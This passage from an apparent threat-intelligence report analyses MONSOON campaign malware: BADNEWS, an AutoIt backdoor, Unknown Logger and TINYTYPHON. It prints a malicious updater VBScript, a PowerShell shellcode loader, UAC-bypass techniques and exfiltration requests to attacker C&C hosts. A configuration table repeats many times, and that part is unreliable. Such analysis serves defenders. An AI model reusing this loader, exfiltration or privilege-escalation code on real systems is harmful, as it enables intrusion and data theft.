<tr>
<td>kl</td>
<td>Send keylog file to C&amp;C (keylogging is always on)</td>
</tr>
<tr>
<td>snp</td>
<td>Take a screenshot and send it to the C&amp;C</td>
</tr>
<tr>
<td>ustr</td>
<td>Exfiltrate documents found on the machine - the malware asynchronously crawls local hard-drives for documents (pdf, doc etc.)</td>
</tr>
<tr>
<td>sdwl</td>
<td>Upload specified file from victim machine</td>
</tr>
<tr>
<td>utop</td>
<td>Disable document exfiltration</td>
</tr>
<tr>
<td>hcmd</td>
<td>Execute command via cmd.exe and send the output to C&amp;C</td>
</tr>
<tr>
<td>{{</td>
<td>Use new C&amp;C server address specified between {{ and }} in the content (i.e. {{MmVhZGFkMmQ2NGM2YzZjZGNkY2RINjZmYWUwZjJIZTY0ZmNiOGVjNjZmYWUwZjJIZTY4ZjJOGyMw==}})</td>
</tr>
<tr>
<td>ok</td>
<td>Do nothing</td>
</tr>
</tbody>
</table>

The malware will send back an acknowledgment response for most of these commands along with any additional data from the command that has been executed.
**Keylogger.** When BADNEWS first starts it will spawn a new thread to log keystrokes to a file. The header of the file contains the marker "KLTNM:" and the system language. The rest of the file contains information about the active window and the keys pressed:

KLTNM: 仺仺00000409  
2016/06/01 09:42:18 - (Window Name)  
[SHIFT]c[SHIFT];

The malware will only send the keylog file to the C&C when instructed to by the "kl" command.

**Document Crawler.** When BADNEWS first starts it will spawn a new thread to check all local & mapped drives for document files with the following extensions:

- doc
- docx
- pdf
- ppt
- pptx
- txt

Any documents under 15MB will be copied to the user’s %temp%\SMB\ folder. The malware will only send these documents to the C&C when instructed to by the "ustr" command.

**Window Message Processor.** BADNEWS will also check for any new hard-drives that are added to the machine such as USB devices. It does this in an interesting way by creating a window and listening for the WM_DEVICECHANGE window message:

```c
LRESULT CALLBACK WndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
    // Window message 23 is defined by the malware as a code to disable the document crawler
    if ( Msg > WM_QUERYENDSESSION )
    {
        if ( Msg == WM_ENDSESSION )
            return 23;
    }
    // Has a new device been added to the machine? If so, try to find documents
    if ( Msg == WM_DEVICECHANGE )
        CrawlDrivesForDocuments();
    else
    {
        switch ( Msg )
        {
        case WM_QUERYENDSESSION:
            return 23;
        case WM_CREATE:
            return 0;
        case WM_DESTROY:
            return 23;
        }
    }
    return DefWindowProcW(hWnd, Msg, wParam, lParam);
}
```

Figure 25 - Device Change Listener
Updater VBScript. The "upd" command downloads a new version of the malware to \%temp\%\up.exe and then updates the malware (jli.dll) via the following VBScript:

```vbnet
Set oShell = CreateObject ("WScript.Shell")
Dim strArgs, dest, file, demofile, filesys, appdata, wshSystemEnv
dest = "MicroScMgmt.exe"
dest1 = "jli.dll"
WScript.sleep 8000
strArgs = "cmd /c move /Y %temp%\up.exe "%appdata%"\Microsoft\"+dest1
oShell.Run strArgs, 0, true
Set filesys = CreateObject ("Scripting.FileSystemObject")
wshSystemEnv = oShell.ExpandEnvironmentStrings( "%APPDATA%"
appdata = wshSystemEnv & "\ss.vbs"
set demofile = filesys.GetFile(appdata)
demofile.Delete
strArgs= "cmd /c "+ wshSystemEnv +"\Microsoft\"+dest+""
oShell.Run strArgs, 0, false
```

Figure 26 – Updater VBScript

AUTOIT BACKDOOR

The majority of the weaponised documents used in MONSOON are PPS files which exploit CVE-2014-6352 and drop an AutoIt binary. The AutoIt script contained within the binary contains a host of features including:

- Sending off system information
- Executing arbitrary commands
- Updating itself
- Escalating privileges (bypassing UAC [7])
- Exfiltrating documents found on the system
- Executing secondary PowerShell-based malware
- Executing second stage "custom" malware
- Stealing Chrome passwords
- Identifying whether 360 Total Security anti-virus is running
Decompiled AutomIt Script. A fully decompiled version of this AutomIt backdoor was generated by the Special Investigations Team in Forcepoint Security Labs™.

Document Exfiltration. The AutomIt backdoor is capable of finding and uploading documents with the following extensions:

*doc;*.pdf;*.csv;*.ppt;*.docx;*.pst;*.xls;*.xlsx;*.pptx;*.jpeg

These will then be uploaded to /update-request.php on the C&C.

```
POST /update-request.php?profile=1234567890= HTTP/1.1
Content-Type: multipart/form-data; boundary=-------------------------------
User-Agent: Mozilla/5.0 Firefox (Like Safari/Webkit)
Host: 212.129.13.110
Content-Length: 60341
Connection: Keep-Alive

-------------------------------
Content-Disposition: form-data; name="filename"; filename="bGk0x07777CCDA3773F540CBDECD98AB945C3"

%PDF-1.4
%....
```

Figure 27 – Upload via PHP Script

Privilege Escalation. The backdoor will attempt to escalate privileges by bypassing Windows User Account Control (UAC) using one of two well-known techniques\(^\text{13}\):

If the user's operating system is 64-bit then the malware will use the Windows Update Standalone Installer (WUSA) to copy its DLL into a protected folder (C:\Windows\System32\oobe) with the name wdscore.dll. It will then execute oobe.exe which will side-load the malicious wdscore.dll instead of the one from the system directory.

If the user is on a 32-bit system then the malware will use the CallWindowProcW API to jump into some shellcode that will inject the UAC bypass executable into Svchost.exe. Firstly, the legitimate Windows "Computer Management.lnk" file is overwritten with a new version using Leo Davidson's IFileOperation\(^\text{14}\) code. This links to the original malware executable. Secondly, the malware will execute CompMgmtLauncher.exe which in turn will execute the copied shortcut as an elevated process.

\(^\text{13}\) https://www.pretentiousname.com/misc/win7_uac_whitelist2.html
Powershell Second Stage & Metasploit Meterpreter. The AutoIt backdoor will send heartbeats to its C&C at `/dropper.php` and receive back commands. During our analysis, we saw that the C&C `212[.]129[.]13[.]110` was serving a base64 encoded response to the heartbeat requests:

```
POST /dropper.php?profile=MONSOON&$=HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 Firefox (Like Safari/Webkit)
Host: 212.129.13.110
Content-Length: 64

ddager=0&amp;r=1=v010X1hQ&amp;r=2=NDg2&amp;r=3=NS4x&amp;r=4=NA==&amp;r=5=ICA=&amp;r=6=VHJlZ2Y=HTTP/1.1 200 OK
Date: Wed, 08 Jun 2005 05:20:00 GMT
Server: Apache/2.4.17 (Win32) OpenSSL/1.0.6d PHP/5.6.14
X-Powered-By: PHP/5.6.14
Content-Length: 7599
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
```

This response contains the command ID and the parameter. In this case the command ID is 2 which tells the AutoIt backdoor to execute the base64 encoded blob under Powershell.

Figure 28 – Base64 Response
The PowerShell script eventually decodes to a typical shellcode loader, which has been cleaned up and beautified:

```powershell
$c = ''
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);

$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]]
$sc = 0xfc,0xe8,0x86,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf7,0xb7,0x26,0x31,0xff,0x31...**snip**...

$size = 0x1000;
if ($sc.Length -gt 0x1000)
    $size = $sc.Length
;
$x=$w::VirtualAlloc(0,0x1000,$size,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++)
    {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)
    ;}
$w::CreateThread(0,0,$x,0,0,0);
for (;;){
    Start-sleep 60
    ;}

Figure 29 – Beautified Powershell
```

The shellcode will dynamically resolve APIs and attempt to download a malware component from hxxps://45[..43[..192[..172:8443/OxGN.
Figure 30 – Hard Coded IP Address
The payload received from this was yet more shellcode and what appeared to be encrypted binary data. This secondary shellcode changed each time requested it from the C&C because it was being dynamically built with a different encryption (XOR) key:

```
01700000 01700006 01700008 0170000e 01700010 01700012 01700014 01700016 01700018 0170001a 0170001c 01700021 01700024 01700027 01700029 0170002b 0170002c 0170002e 01700030 01700032 01700034 01700036 01700038 0170003a 0170003c 0170003e 01700040 01700042 01700044 01700046 01700048 0170004a 0170004c 0170004e 01700050 01700052 01700054 01700056 01700058 0170005a 0170005c 0170005e 01700060 01700062 01700064 01700066 01700068 0170006a 0170006c 0170006e 01700070 01700072 01700074 01700076 01700078 0170007a 0170007c 0170007e 01700080 01700082 01700084 01700086 01700088 0170008a 0170008c 0170008e 01700090 01700092 01700094 01700096 01700098 0170009a 0170009c 0170009e 017000a0 017000a2 017000a4 017000a6 017000a8 017000aa 017000ac 017000ae 017000b0 017000b2 017000b4 017000b6 017000b8 017000ba 017000bc 017000c0 017000c2 017000c4 017000c6 017000c8 017000ca 017000cc
```

Figure 31 – Encrypted Shellcode
Once decrypted, the data appears to be a PE file but contains code within the header.

It finally calls code to manually load and relocate the decrypted executable into a new region of memory, and then jump into the original entry point. It turned out that the decrypted executable here was actually Metasploit’s Meterpreter, which spawned a reverse TCP shell back to the C&C at hxxps://45[.]43[.]192[.]172:8443. During our analysis the following commands from the Meterpreter server were received:

- stdapi_sys_config_getuid
- stdapi_sys_config_sysinfo
- stdapi_net_config_get_interfaces
- stdapi_net_config_get_routes
No further commands were receive any after this.

**UNKNOWN LOGGER PUBLIC V 1.5**

Unknown Logger is another malware component used in MONSOON. It is a publicly released, free backdoor. It is capable of credential theft from browsers, keylogging, taking screenshots, spreading itself laterally, and downloading second stage malware.

In 2012, a user named “The Unknown” publicly released a free version of a credential stealing worm on hackforums.net called “Unknown Logger Public”. The actors have been using version 1.5 of this malware in some of their weaponised documents. It is likely that they simply downloaded and built their own version from the publicly available version 1.5 on Hackforums.

![Unknown Logger Server Configuration Panel](image)

Unknown Logger is dropped by at least two\(^{15}\) of the weaponised documents analysed. Both of these documents exploit CVE-2014-6352.

---

\(^{15}\) SHA1: 824013c9d8b2aab1396c4a50579f8bd4bf80abdb
SHA1: e27d3cfc9141f618c5a8c075e7d18af11a012710
Figure 34 – Unknown Logger – Settings Panel
Unknown Logger's main purpose is to record keystrokes and steal usernames and passwords saved by browsers on the local machine. This information is then sent to a pre-defined FTP or SMTP server with a username and password specified by the actor when building the malware. It can also spread itself into RAR files, USB devices and network shares. Interestingly it does not have the ability for C&C communication. It cannot execute arbitrary commands or receive a command indicating what it should do next.

**Features:**
1. Built in Stub
2. Get Tons of Information about the slave (Computer User, Computer Name, Computer Total Physical Memory, slave's IP Address, slave's Country, Date, etc...)
3. Send logs to SMTP Severs and FTP
4. SMTP (Hotmail, Gmail, AOL, Yahoo)
5. Test Mail Functionality (Hotmail, Gmail, AOL, Yahoo)
6. Test FTP Functionality
7. Continuously Send Logs without Fail
8. Custom Logs Sending Interval (Which means you choose when the Logs are sent to you)
9. Logs Every Single Thing on the Keyboard (Letters (Up Cases and Low Cases) - Numbers - Symbols - Specific Keys ([F1], [F2], [Home], etc...))
10. Works on all Operating Systems (Window XP, Window Vista, Window 7 (32 and 64 bit))
11. Hide Functionality (Make the Server Invisible to the Naked eye)
12. Never Crashes in slave's Computer (Will always be working whatever happens)
13. Simple and Easy to use GUI
14. Customer Server Name
15. Sends Clean and Very Organized Logs
16. Can be Used as a Keylogger - Stealer - Worm - Spreader and more by just Checking Few Boxes

**Anti Killers:**
1. Anti Nod32 (All Versions)
2. Anti Kaspersky (All Versions)
3. Anti BitDefender (All Versions)
4. Anti MalwareBytes (All Versions)
5. Anti Norman (All Versions)
6. Anti wireShark (All Versions)
7. Anti Anubis (All Versions)
8. Anti KeyScrambler (All Versions)
9. Anti Ollydbg (All Versions)
10. Anti Outpost (All Versions)
11. Anti ZoneAlaram (All Versions)

**Disablers:**
1. Disable RUN
2. Disable Registry
3. Disable CMD
4. Disable Right Click
5. Disable Task Manager
6. Disable System Restore

**Deleters:**
1. Delete FireFox Cookies
2. Delete Google Chrome Cookies
3. Delete Internet Explorer Cookies

**Download And Execute:**
Add any link that leads to any kind of file and this file will be Downloaded and Execute Automatically and Anonymously

**Webpage Loader:**
Add any link and it will be Automatically Loaded on the slave's PC
Configuration. In the samples analysed, Unknown Logger was configured to download the AutoIt backdoor upon start-up. One of configurations was as follows:

<table>
<thead>
<tr>
<th>Setting</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Username</td>
<td><a href="mailto:chinastratforum@gmail.com">chinastratforum@gmail.com</a></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
<tr>
<td>Username</td>
<td></td>
</tr>
<tr>
<td>Password</td>
<td><strong>redacted</strong></td>
</tr>
<tr>
<td>SmtpServer</td>
<td>smtp.gmail.com</td>
</tr>
<tr>
<td>FTPServer</td>
<td>ftp://www.example.com/example.txt</td>
</tr>
<tr>
<td>SmtpPort</td>
<td>587</td>
</tr>
<tr>
<td>UseSmtp</td>
<td>True</td>
</tr>
<tr>
<td>UseFTP</td>
<td>False</td>
</tr>
<tr>
<td>Exfil Interval Minutes</td>
<td>1</td>
</tr>
<tr>
<td>ScreenshotEmailRecipient</td>
<td>c<strong>redacted</strong>@gmail.com</td>
</tr>
</tbody>
</table>

SHA1: c691c07191963ca3db28235d0a38060b2b9ea8f2
SHA1: 6e85333e5ee05c40beee0457419aa68a007a0e5f5
The settings have been named as part of the investigation as they are not specifically named in the malware. The "DownloadExecFileURL" specifies a URL to grab an additional file from and execute it at runtime. Analysis found that nregsrv2.exe is the same AutoIt trojan dropped by many of the other weaponised documents used in this campaign.

**TINYTYPHON**

The TINYTYPHON malware is a small backdoor capable of finding and uploading documents on locally mapped drives and receiving secondary malware. It is dropped by at least one of the weaponised documents used in the MONSOON campaign where it is embedded inside another executable. The majority of the code for TINYTYPHON is taken from the MyDoom worm and has been repurposed to find and exfiltrate documents.

**Configuration & Persistence.** TINYTYPHON contains a small configuration appended to the end of the executable. In the sample analysed this configuration was XORed with the hexadecimal value 0x90.

---

17 SHA1: 9cdbb41f83854ea4827c83ad9809ed0210566fbc  
18 SHA1: fcf8e5cf1207fdab9bcb0a4dc45ad188089655a
The configuration contains the C&C address and paths to use as well as a list of document extensions to check when crawling local drives. It also contains the filename to copy itself to in the local `system32` directory, and the name of the persistence registry key to install itself under `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`.

**Document Crawler.** TINYTYPHON constantly searches for and uploads documents on the local machine. It will first search for any documents on the drive containing the operating system, and then it will search through all drive letters C through to Z.
Figure 37 – Document Crawler
Once a document is found matching one of the extensions in the configuration, the document is uploaded to the C&C.

![Figure 38 – Document Upload to C&C](image)

**Victims.** The TINYTYPHON C&C from the sample we analysed contained a `/http` directory which had an open directory listing:

![Index of /http](image)

**Apache/2.4.17 (Win32) OpenSSL/1.0.2d PHP/5.6.14 Server at Port 80**

![Figure 39 – C&C Web Server /http listing](image)
The `/upload` directory contained several folders relating to different victims:

**Index of /http/upload**

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td>2016-05-13 22:03</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-07-08 12:15</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-07-09 02:27</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-07-08 08:52</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-05-04 04:17</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-07-08 20:05</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-07-08 01:14</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-07-09 03:55</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-07-08 09:37</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-05-03 07:37</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-05-28 02:39</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-04-14 21:02</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-04-28 20:19</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-07-08 07:26</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-05-26 02:14</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-07-08 23:22</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-07-09 00:49</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-07-08 09:00</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-04-17 23:34</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-04-12 20:31</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-05-04 19:57</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-03-30 02:18</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-07-09 06:50</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-05-29 23:36</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-05-14 03:10</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-06-01 19:28</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>C</td>
<td>2016-06-03 21:23</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>

*Apache/2.4.17 (Win32) OpenSSL/1.0.3d PHP/5.6.14 Server at [IP address] Port 80*

Figure 40 – C&C Web Server /http/upload listing
Each of these folders contained the documents found and uploaded by TINYTYPHON on the victim's machine.

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>0ac135f31ae16763a81..&gt;</td>
<td>2016-05-13 03:50</td>
<td>117K.</td>
